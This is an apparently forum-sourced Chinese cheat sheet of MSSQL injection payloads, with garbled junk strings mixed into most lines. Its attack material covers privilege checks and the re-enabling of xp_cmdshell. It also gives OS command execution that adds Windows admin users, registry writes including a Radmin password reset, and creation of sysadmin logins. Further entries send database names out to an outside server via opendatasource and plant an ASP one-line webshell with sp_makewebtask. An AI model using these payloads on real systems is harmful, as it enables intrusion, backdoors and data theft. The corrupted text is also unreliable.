//看看是什么权限的
8 U5 o) Z" O% j8 w% uand 1=(Select IS_MEMBER('db_owner'))# K$ i5 g- L# Y
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
: h: k; j7 J- p, c- I# f/ i, z3 K4 L: S" X$ L% j
//检测是否有读取某数据库的权限 R4 x4 w2 U" A9 m4 `5 n
and 1= (Select HAS_DBACCESS('master'))
t z) h0 w* Y |( kAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --" F5 ^3 G3 V4 y/ n: j5 H
7 g! j- M4 I0 L" \! ~- R: f: q r+ Z( m5 G, Z: ~ z1 [
数字类型( `4 u* A5 }" H4 {& \' I4 k
and char(124)%2Buser%2Bchar(124)=0
+ A) B T. B' g
' h/ d; o: G7 y' `4 W% I, a! |字符类型& b5 ~, o/ f1 |0 e
' and char(124)%2Buser%2Bchar(124)=0 and ''='
5 I* ^2 B1 H" e( J
! d! f4 U. p+ a. H( }9 E搜索类型# o: d- \# L% m4 A
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
# r# ]' s3 Y. y( s7 {
- C3 M- m7 ?+ J4 ^: z% W2 z爆用户名" v0 t2 d/ q, ^& `3 s& D! e" [
and user>03 \. s' E7 W) j/ [1 |
' and user>0 and ''='
- ^' P$ P: N' R
' y- t. O B4 I" t检测是否为SA权限% Y. K9 ?- a4 \* z
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--: b, b; c# f' e& E
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
$ R' [/ P! k9 ^7 ~
3 w5 x2 x3 c$ O0 y+ B检测是不是MSSQL数据库
, Q1 x( g) _. {0 G( z+ Y$ pand exists (select * from sysobjects);--/ q. y$ M; ?0 u- w) O* U
; |8 R( E" `0 |9 r8 Z2 v$ I& C5 M
检测是否支持多行
" {3 o1 S3 r0 X! ?/ C7 j;declare @d int;--
# J+ s0 w& b8 m/ t- I; f7 Y
: J, F; i, t, ~/ p5 i恢复 xp_cmdshell
1 t3 H5 Q$ Y0 y) |+ k;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
/ G- Y6 D0 Y m" r' E' e4 T" V5 r- ~# w5 F; E" C) b' l6 s
. t2 M8 t. I- t- M7 M5 x
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
6 t) U, q$ y4 f4 z
8 l4 i y5 {. L8 \//-----------------------2 S) q6 [4 k9 X
// 执行命令
4 i; }% p, K$ C0 b' d+ V//-----------------------! ^( o8 j. h' f6 b
首先开启沙盘模式:) w9 f/ n* e+ l* v. y) ^
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 z4 A% A: A( z: s& n# T# E
7 J: i1 t3 ]3 m d7 u
然后利用jet.oledb执行系统命令; ]4 i( F7 P) f" ^5 s" I" q0 w
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
. m. J. }! M% f1 F8 M: S0 I. k: o) d! s& w6 O
执行命令% P' b6 i+ o' @% o( i3 K
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
+ U2 ~ j! o- {- S/ ]/ ~/ {4 m. {; Z" @: [& |1 f
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'7 U' r/ l& N6 L! X' O3 z; J
0 b6 G- ]& P) W& ~# p判断xp_cmdshell扩展存储过程是否存在:
" @& h1 o) l, |4 n+ F' Bhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
1 u( H! h: a* Z$ C; }- l7 |1 C; e4 j) m0 n
写注册表
" U" z+ p; V3 x5 a) q9 {' Qexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! B0 u- P+ }$ L3 v, V0 I# M
% o4 O& T6 I- J( s0 l" y8 HREG_SZ( i* T! B( G% J# h* I$ K2 \
$ \% b8 o f" U5 d% d+ @' U读注册表
6 C: ?* A. U2 d3 Q ?) U" Lexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'# n b# R% R8 s, a- ^' H( v
% g) i O# P9 A7 K$ }$ ^
读取目录内容
2 ]& {1 B! Z+ T/ a- J; k8 w/ ~exec master..xp_dirtree 'c:\winnt\system32\',1,11 J6 g o$ _ H+ U# k
1 L% u/ n4 W' a/ \* H$ w7 v- y# x$ \
数据库备份
" i0 @5 p, m- k% x8 T, s% Hbackup database pubs to disk = 'c:\123.bak'
F: x+ V( I; |3 h; o# [
6 @" `* d/ m! G9 q% `& A* A3 A//爆出长度5 {& v/ R% M* u; Q4 W
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--# Q4 P- ]. i0 O* x+ ]0 R
5 r5 J+ L& s2 A% q9 ?. a+ k4 p1 k" i/ t
$ w; \$ Q: s' }7 j7 \* |% n
z2 ]7 a6 s8 Y. t* @5 [# d& X更改sa口令方法:用sql综合利用工具连接后,执行命令:" {; O8 ?6 Q \- S7 O, n
exec sp_password NULL,'新密码','sa'
' S( q' |6 N' j: q: o$ [2 `5 y% J: T7 Z/ A
添加和删除一个SA权限的用户test:
/ o0 f4 x3 \9 m7 P& Q' hexec master.dbo.sp_addlogin test,9530772' L& I4 L8 ~2 s) X* f
exec master.dbo.sp_addsrvrolemember test,sysadmin. f: z7 M! ~$ r1 X
% n, I; {/ F3 [4 h- V& \, `删除扩展存储过过程xp_cmdshell的语句:
/ {' X# x; m, w0 \exec sp_dropextendedproc 'xp_cmdshell'$ R# U2 k+ P. ]6 t8 p
7 U/ O5 Y$ o9 }/ b- ~* n/ ?
添加扩展存储过过程
" ~9 Z! L8 K# M. r" Q0 ~# e! }1 nEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
, L' S* k+ [4 J' G6 O4 O- V* tGRANT exec On xp_proxiedadata TO public- P5 J9 Z, N2 P5 K
( o/ f& ]5 C) s' v* O r$ F6 V6 ~( `" j
停掉或激活某个服务。
m5 P9 J t, w* g- _
9 `4 b& G0 _& A9 T6 iexec master..xp_servicecontrol 'stop','schedule'
! n4 G( J$ c0 _" X4 f Gexec master..xp_servicecontrol 'start','schedule'
: i9 L. W; b6 z0 K+ k: R7 G4 Q: G# X+ H& ^1 u- Z, D! N/ ?% } A
dbo.xp_subdirs# [( e0 Q# B# n5 A8 b5 F2 u
" o9 H& N5 ]* c5 C3 R$ o
只列某个目录下的子目录。
. F; X$ C) M" k) Wxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'# i# y( q, |0 {8 M
7 ^# F4 `5 Q9 k+ j% ?
dbo.xp_makecab
( a. m; Q t9 w+ U* e$ }
. P6 e3 E1 B8 w8 ` v& E将目标多个档案压缩到某个目标档案之内。! M e1 {1 C# @2 i, c" h( Q
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。) {6 C; h7 l+ y7 g9 B
5 z7 I3 M% K: z7 U& odbo.xp_makecab) {# q6 H5 g! W
'c:\test.cab','mszip',1,- t* I% Z; `$ M0 A6 ?' x$ G
'C:\Inetpub\wwwroot\SQLInject\login.asp',3 c0 D4 J$ B8 x2 Z8 B; e6 h8 E; F& ]
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'6 j1 Z0 _& K' a7 S6 |
; k% Z- p5 u, K) G
xp_terminate_process k8 D9 D% S: F! a9 [$ L
1 @( d( k# J/ }0 {& S. u+ N4 D
停掉某个执行中的程序,但赋予的参数是 Process ID。
]4 U7 H7 z! t+ ^ [' t利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
" u8 w4 i. r2 `$ n0 ]( ~4 y
2 \* Y5 Q7 A5 k5 M# K: Mxp_terminate_process 24841 h3 R) k3 X0 g
1 k+ [+ _3 X7 q) o$ m3 f0 q# _+ jxp_unpackcab; G. {5 D8 S* ?" M% _4 ~
% ]5 |$ Q! U" {. p3 ^. Y( i* @6 M7 O+ d5 N
解开压缩档。9 B5 L7 ^' m7 j3 {% J* q
2 Q0 w+ Y3 j# s: \/ m- X& sxp_unpackcab 'c:\test.cab','c:\temp',1* l }" P. Q! N7 X
2 @: U, c# l5 L
" y* v# M4 V2 o' ?/ |某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
$ l+ R, @! F. I! H/ U5 k8 D2 X# b5 U# `# v" y- y
create database lcx;8 ?: h9 i4 b% X( u9 c
Create TABLE ku(name nvarchar(256) null);! u) C: u3 M! \1 O
Create TABLE biao(id int NULL,name nvarchar(256) null);
! t# I, z. S H6 U
/ R+ Q3 L$ ? ~+ |+ K//得到数据库名
3 f$ T( ?/ S9 `* ]/ m4 Iinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
5 o! i+ ^. d! j- [
- r2 z$ w+ q4 H0 H' y. B: N4 P) W; o2 B7 c
//在Master中创建表,看看权限怎样$ N' G3 ^5 q& b( A8 n Z/ C/ Y, E
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
0 b2 Z; w& Q. f
! ]5 W/ H1 x$ h9 I u* V用 sp_makewebtask直接在web目录里写入一句话马:
, z) O8 z! Z; ^! r: }& hhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--# ^3 F. I& B2 m( Y# z
s5 F- W! e* k2 y4 G. \( G
//更新表内容
( X: X& m8 E. c2 F& L+ k: K4 h. XUpdate films SET kind = 'Dramatic' Where id = 123
c; z, Q( `% q1 ?8 s
; w4 z5 n0 g* Q# V/ n//删除内容
8 h1 [7 I: y+ H9 g" Jdelete from table_name where Stockid = 3 |